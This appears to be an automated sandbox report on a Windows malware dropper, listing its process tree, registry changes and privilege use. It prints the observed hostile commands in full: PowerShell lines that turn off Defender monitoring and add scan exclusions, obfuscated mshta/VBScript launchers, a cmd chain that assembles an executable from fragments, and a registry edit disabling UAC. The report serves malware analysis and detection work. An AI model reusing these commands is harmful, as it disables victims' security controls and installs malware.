Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

864 PING.EXE

pid	process
864	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exeWerFault.exe7688562.exeWerFault.exeWerFault.exe8728024.exeTue197e9ec0ff0.exe

pid	process
3940	powershell.exe
3940	powershell.exe
484	powershell.exe
484	powershell.exe
484	powershell.exe
3940	powershell.exe
5804	WerFault.exe
5804	WerFault.exe
6020	7688562.exe
6020	7688562.exe
4620	WerFault.exe
4620	WerFault.exe
5140	WerFault.exe
5140	WerFault.exe
5244	8728024.exe
5244	8728024.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe
1036	Tue197e9ec0ff0.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Explorer.EXE

pid process

3208 Explorer.EXE

pid	process
3208	Explorer.EXE

Suspicious behavior: MapViewOfSection 7 IoCs

Processes:

IzqSVV2MxS0q1xEXzN5eWDIl.exefXStM6cdEAEjvH7s1ab7Gaju.exeWWAHost.exe1CC6.exe

pid	process
5368	IzqSVV2MxS0q1xEXzN5eWDIl.exe
5368	IzqSVV2MxS0q1xEXzN5eWDIl.exe
5368	IzqSVV2MxS0q1xEXzN5eWDIl.exe
5948	fXStM6cdEAEjvH7s1ab7Gaju.exe
6460	WWAHost.exe
6460	WWAHost.exe
6640	1CC6.exe

Suspicious behavior: SetClipboardViewer 1 IoCs

Processes:

309027.exe

pid process

5264 309027.exe

pid	process
5264	309027.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

svchost.exeTue193129b31e741ef3.exeTue19cd42a7c874e44.exepowershell.exepowershell.exeTue19b4b38a7569a9.exeWerFault.exesvchost.execmd.exetaskkill.exeinst1.exesetup.tmp7688562.exepowershell.exe

description	pid	process
Token: SeShutdownPrivilege	4400	svchost.exe
Token: SeCreatePagefilePrivilege	4400	svchost.exe
Token: SeShutdownPrivilege	4400	svchost.exe
Token: SeCreatePagefilePrivilege	4400	svchost.exe
Token: SeCreateTokenPrivilege	1448	Tue193129b31e741ef3.exe
Token: SeAssignPrimaryTokenPrivilege	1448	Tue193129b31e741ef3.exe
Token: SeLockMemoryPrivilege	1448	Tue193129b31e741ef3.exe
Token: SeIncreaseQuotaPrivilege	1448	Tue193129b31e741ef3.exe
Token: SeMachineAccountPrivilege	1448	Tue193129b31e741ef3.exe
Token: SeTcbPrivilege	1448	Tue193129b31e741ef3.exe
Token: SeSecurityPrivilege	1448	Tue193129b31e741ef3.exe
Token: SeTakeOwnershipPrivilege	1448	Tue193129b31e741ef3.exe
Token: SeLoadDriverPrivilege	1448	Tue193129b31e741ef3.exe
Token: SeSystemProfilePrivilege	1448	Tue193129b31e741ef3.exe
Token: SeSystemtimePrivilege	1448	Tue193129b31e741ef3.exe
Token: SeProfSingleProcessPrivilege	1448	Tue193129b31e741ef3.exe
Token: SeIncBasePriorityPrivilege	1448	Tue193129b31e741ef3.exe
Token: SeCreatePagefilePrivilege	1448	Tue193129b31e741ef3.exe
Token: SeCreatePermanentPrivilege	1448	Tue193129b31e741ef3.exe
Token: SeBackupPrivilege	1448	Tue193129b31e741ef3.exe
Token: SeRestorePrivilege	1448	Tue193129b31e741ef3.exe
Token: SeShutdownPrivilege	1448	Tue193129b31e741ef3.exe
Token: SeDebugPrivilege	1448	Tue193129b31e741ef3.exe
Token: SeAuditPrivilege	1448	Tue193129b31e741ef3.exe
Token: SeSystemEnvironmentPrivilege	1448	Tue193129b31e741ef3.exe
Token: SeChangeNotifyPrivilege	1448	Tue193129b31e741ef3.exe
Token: SeRemoteShutdownPrivilege	1448	Tue193129b31e741ef3.exe
Token: SeUndockPrivilege	1448	Tue193129b31e741ef3.exe
Token: SeSyncAgentPrivilege	1448	Tue193129b31e741ef3.exe
Token: SeEnableDelegationPrivilege	1448	Tue193129b31e741ef3.exe
Token: SeManageVolumePrivilege	1448	Tue193129b31e741ef3.exe
Token: SeImpersonatePrivilege	1448	Tue193129b31e741ef3.exe
Token: SeCreateGlobalPrivilege	1448	Tue193129b31e741ef3.exe
Token: 31	1448	Tue193129b31e741ef3.exe
Token: 32	1448	Tue193129b31e741ef3.exe
Token: 33	1448	Tue193129b31e741ef3.exe
Token: 34	1448	Tue193129b31e741ef3.exe
Token: 35	1448	Tue193129b31e741ef3.exe
Token: SeShutdownPrivilege	4400	svchost.exe
Token: SeCreatePagefilePrivilege	4400	svchost.exe
Token: SeDebugPrivilege	3284	Tue19cd42a7c874e44.exe
Token: SeDebugPrivilege	3940	powershell.exe
Token: SeDebugPrivilege	484	powershell.exe
Token: SeDebugPrivilege	3608	Tue19b4b38a7569a9.exe
Token: SeRestorePrivilege	4620	WerFault.exe
Token: SeBackupPrivilege	4620	WerFault.exe
Token: SeShutdownPrivilege	5468	svchost.exe
Token: SeCreatePagefilePrivilege	5468	svchost.exe
Token: SeDebugPrivilege	5560	cmd.exe
Token: SeDebugPrivilege	5652	taskkill.exe
Token: SeDebugPrivilege	5644	inst1.exe
Token: SeDebugPrivilege	2852	setup.tmp
Token: SeDebugPrivilege	6020	7688562.exe
Token: SeCreateTokenPrivilege	916	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	916	powershell.exe
Token: SeLockMemoryPrivilege	916	powershell.exe
Token: SeIncreaseQuotaPrivilege	916	powershell.exe
Token: SeMachineAccountPrivilege	916	powershell.exe
Token: SeTcbPrivilege	916	powershell.exe
Token: SeSecurityPrivilege	916	powershell.exe
Token: SeTakeOwnershipPrivilege	916	powershell.exe
Token: SeLoadDriverPrivilege	916	powershell.exe
Token: SeSystemProfilePrivilege	916	powershell.exe
Token: SeSystemtimePrivilege	916	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

setup.tmpinstaller.exe

pid process

2852 setup.tmp
18404 installer.exe

pid	process
2852	setup.tmp
18404	installer.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exesetup_installer.exesetup_install.execmd.execmd.execmd.exe

description	pid	process	target process
PID 1196 wrote to memory of 3060	1196	578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe	setup_installer.exe
PID 1196 wrote to memory of 3060	1196	578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe	setup_installer.exe
PID 1196 wrote to memory of 3060	1196	578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe	setup_installer.exe
PID 3060 wrote to memory of 1584	3060	setup_installer.exe	setup_install.exe
PID 3060 wrote to memory of 1584	3060	setup_installer.exe	setup_install.exe
PID 3060 wrote to memory of 1584	3060	setup_installer.exe	setup_install.exe
PID 1584 wrote to memory of 2864	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 2864	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 2864	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 2064	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 2064	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 2064	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 2624	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 2624	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 2624	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 4212	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 4212	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 4212	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 4856	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 4856	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 4856	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 3624	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 3624	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 3624	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 3184	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 3184	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 3184	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 3452	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 3452	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 3452	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 3720	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 3720	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 3720	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 3600	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 3600	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 3600	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 5028	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 5028	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 5028	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 4984	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 4984	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 4984	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 1968	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 1968	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 1968	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 2716	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 2716	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 2716	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 3764	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 3764	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 3764	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 1508	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 1508	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 1508	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 2860	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 2860	1584	setup_install.exe	cmd.exe
PID 1584 wrote to memory of 2860	1584	setup_install.exe	cmd.exe
PID 2624 wrote to memory of 4868	2624	cmd.exe	Tue19ac3c92c21.exe
PID 2624 wrote to memory of 4868	2624	cmd.exe	Tue19ac3c92c21.exe
PID 2624 wrote to memory of 4868	2624	cmd.exe	Tue19ac3c92c21.exe
PID 4212 wrote to memory of 2068	4212	cmd.exe	Tue19c9e031f4.exe
PID 4212 wrote to memory of 2068	4212	cmd.exe	Tue19c9e031f4.exe
PID 3720 wrote to memory of 960	3720	cmd.exe	cmd.exe
PID 3720 wrote to memory of 960	3720	cmd.exe	cmd.exe

System policy modification 1 TTPs 4 IoCs

evasion

Modify Registry

Processes:

u01mncpPd05JugUqOyeMRfZg.exehepatocyte.exeBA11.exescriptwriters.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	u01mncpPd05JugUqOyeMRfZg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	hepatocyte.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	BA11.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	scriptwriters.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
PID:3208

C:\Users\Admin\AppData\Local\Temp\578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe
"C:\Users\Admin\AppData\Local\Temp\578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe"
2⤵
- Suspicious use of WriteProcessMemory
PID:1196

C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3060

C:\Users\Admin\AppData\Local\Temp\7zS4FB226D4\setup_install.exe
"C:\Users\Admin\AppData\Local\Temp\7zS4FB226D4\setup_install.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1584

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true
5⤵
PID:2864

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:484

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
5⤵
PID:2064

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3940

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Tue19ac3c92c21.exe
5⤵
- Suspicious use of WriteProcessMemory
PID:2624

C:\Users\Admin\AppData\Local\Temp\7zS4FB226D4\Tue19ac3c92c21.exe
Tue19ac3c92c21.exe
6⤵
- Executes dropped EXE
PID:4868

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Tue192c34b1c2f5.exe /mixone
5⤵
PID:3600

C:\Users\Admin\AppData\Local\Temp\7zS4FB226D4\Tue192c34b1c2f5.exe
Tue192c34b1c2f5.exe /mixone
6⤵
- Executes dropped EXE
PID:1888

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1888 -s 296
7⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:2920

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Tue19cef5687a.exe
5⤵
PID:1968

C:\Users\Admin\AppData\Local\Temp\7zS4FB226D4\Tue19cef5687a.exe
Tue19cef5687a.exe
6⤵
- Executes dropped EXE
PID:4632

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4632 -s 300
7⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:5804

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Tue19b4b38a7569a9.exe
5⤵
PID:1508

C:\Users\Admin\AppData\Local\Temp\7zS4FB226D4\Tue19b4b38a7569a9.exe
Tue19b4b38a7569a9.exe
6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3608

C:\Users\Admin\AppData\Roaming\4638902.exe
"C:\Users\Admin\AppData\Roaming\4638902.exe"
7⤵
- Executes dropped EXE
PID:5644

C:\Users\Admin\AppData\Roaming\7688562.exe
"C:\Users\Admin\AppData\Roaming\7688562.exe"
7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:6020

C:\Users\Admin\AppData\Roaming\8728024.exe
"C:\Users\Admin\AppData\Roaming\8728024.exe"
7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:5244

C:\Users\Admin\AppData\Roaming\7385173.exe
"C:\Users\Admin\AppData\Roaming\7385173.exe"
7⤵
PID:3160

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Roaming\7385173.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Roaming\7385173.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))
8⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5596

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Roaming\7385173.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Roaming\7385173.exe" ) do taskkill -f -Im "%~NXZ"
9⤵
PID:6040

C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe
..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i
10⤵
- Executes dropped EXE
PID:2144

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF ""-P1jBMdKQQ16j1dp4oT~i "" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))
11⤵
PID:4148

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "-P1jBMdKQQ16j1dp4oT~i " == "" for %Z iN ( "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ) do taskkill -f -Im "%~NXZ"
12⤵
PID:4864

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
13⤵
PID:6332

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VBSCRipT: CLOse ( createoBJECt ( "wScRIpt.shelL" ).RUn ("cMd /C EChO | SEt /p = ""MZ"" > CPkPI.i & CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q * " , 0 ,tRue ) )
11⤵
PID:1944

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C EChO | SEt /p = "MZ" > CPkPI.i &CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K &Del /Q *
12⤵
PID:5560

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>CPkPI.i"
13⤵
PID:4292

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" EChO "
13⤵
PID:2032

C:\Windows\SysWOW64\control.exe
control ..\WfNRfms4.K
13⤵
PID:2468

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\WfNRfms4.K
14⤵
- Loads dropped DLL
PID:4496

C:\Windows\system32\RunDll32.exe
C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL ..\WfNRfms4.K
15⤵
PID:7852

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 ..\WfNRfms4.K
16⤵
- Loads dropped DLL
PID:5524

C:\Windows\SysWOW64\taskkill.exe
taskkill -f -Im "7385173.exe"
10⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5652

C:\Users\Admin\AppData\Roaming\1248012.exe
"C:\Users\Admin\AppData\Roaming\1248012.exe"
7⤵
- Executes dropped EXE
- Adds Run key to start application
PID:5500

C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
8⤵
- Executes dropped EXE
PID:1420

C:\Users\Admin\AppData\Roaming\7826718.exe
"C:\Users\Admin\AppData\Roaming\7826718.exe"
7⤵
PID:2852

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Tue19f40f8518b9946.exe
5⤵
PID:2860

C:\Users\Admin\AppData\Local\Temp\7zS4FB226D4\Tue19f40f8518b9946.exe
Tue19f40f8518b9946.exe
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2724

C:\Users\Admin\AppData\Local\Temp\7zS4FB226D4\Tue19f40f8518b9946.exe
C:\Users\Admin\AppData\Local\Temp\7zS4FB226D4\Tue19f40f8518b9946.exe
7⤵
- Executes dropped EXE
PID:5184

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Tue19cd42a7c874e44.exe
5⤵
PID:3764

C:\Users\Admin\AppData\Local\Temp\7zS4FB226D4\Tue19cd42a7c874e44.exe
Tue19cd42a7c874e44.exe
6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3284

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Tue19d1fc7d2654d7a.exe
5⤵
PID:2716

C:\Users\Admin\AppData\Local\Temp\7zS4FB226D4\Tue19d1fc7d2654d7a.exe
Tue19d1fc7d2654d7a.exe
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4140

C:\Users\Admin\AppData\Local\Temp\7zS4FB226D4\Tue19d1fc7d2654d7a.exe
C:\Users\Admin\AppData\Local\Temp\7zS4FB226D4\Tue19d1fc7d2654d7a.exe
7⤵
- Executes dropped EXE
PID:5212

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Tue193129b31e741ef3.exe
5⤵
PID:4984

C:\Users\Admin\AppData\Local\Temp\7zS4FB226D4\Tue193129b31e741ef3.exe
Tue193129b31e741ef3.exe
6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1448

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1448 -s 1912
7⤵
- Program crash
- Enumerates system info in registry
PID:5348

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Tue197e9ec0ff0.exe
5⤵
PID:5028

C:\Users\Admin\AppData\Local\Temp\7zS4FB226D4\Tue197e9ec0ff0.exe
Tue197e9ec0ff0.exe
6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1036

C:\Users\Admin\Pictures\Adobe Films\0CDdd6ye0BQyabiIt8z33YgF.exe
"C:\Users\Admin\Pictures\Adobe Films\0CDdd6ye0BQyabiIt8z33YgF.exe"
7⤵
- Executes dropped EXE
PID:1340

C:\Users\Admin\Pictures\Adobe Films\IzqSVV2MxS0q1xEXzN5eWDIl.exe
"C:\Users\Admin\Pictures\Adobe Films\IzqSVV2MxS0q1xEXzN5eWDIl.exe"
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
PID:5368

C:\Users\Admin\Pictures\Adobe Films\LFC0irZWiM5oQDpLBzf5Wsxf.exe
"C:\Users\Admin\Pictures\Adobe Films\LFC0irZWiM5oQDpLBzf5Wsxf.exe"
7⤵
PID:3772

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3772 -s 300
8⤵
- Program crash
PID:3360

C:\Users\Admin\Pictures\Adobe Films\MoIYMqY7itStW6hWPmAWZExs.exe
"C:\Users\Admin\Pictures\Adobe Films\MoIYMqY7itStW6hWPmAWZExs.exe"
7⤵
- Executes dropped EXE
PID:4484

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4484 -s 300
8⤵
- Program crash
- Enumerates system info in registry
PID:6660

C:\Users\Admin\Pictures\Adobe Films\HVkcxXym7xoildiMEKuLlla_.exe
"C:\Users\Admin\Pictures\Adobe Films\HVkcxXym7xoildiMEKuLlla_.exe"
7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5664

C:\Users\Admin\Pictures\Adobe Films\IZhlUdXBoO64eK1a59dP6t92.exe
"C:\Users\Admin\Pictures\Adobe Films\IZhlUdXBoO64eK1a59dP6t92.exe"
7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5828

C:\Users\Admin\Pictures\Adobe Films\u01mncpPd05JugUqOyeMRfZg.exe
"C:\Users\Admin\Pictures\Adobe Films\u01mncpPd05JugUqOyeMRfZg.exe"
7⤵
- Executes dropped EXE
- Drops startup file
- Windows security modification
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- System policy modification
PID:5064

C:\Users\Admin\AppData\Local\Temp\2a41c637-129a-4857-a506-051e0b47e66a\AdvancedRun.exe
"C:\Users\Admin\AppData\Local\Temp\2a41c637-129a-4857-a506-051e0b47e66a\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\2a41c637-129a-4857-a506-051e0b47e66a\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
8⤵
PID:6332

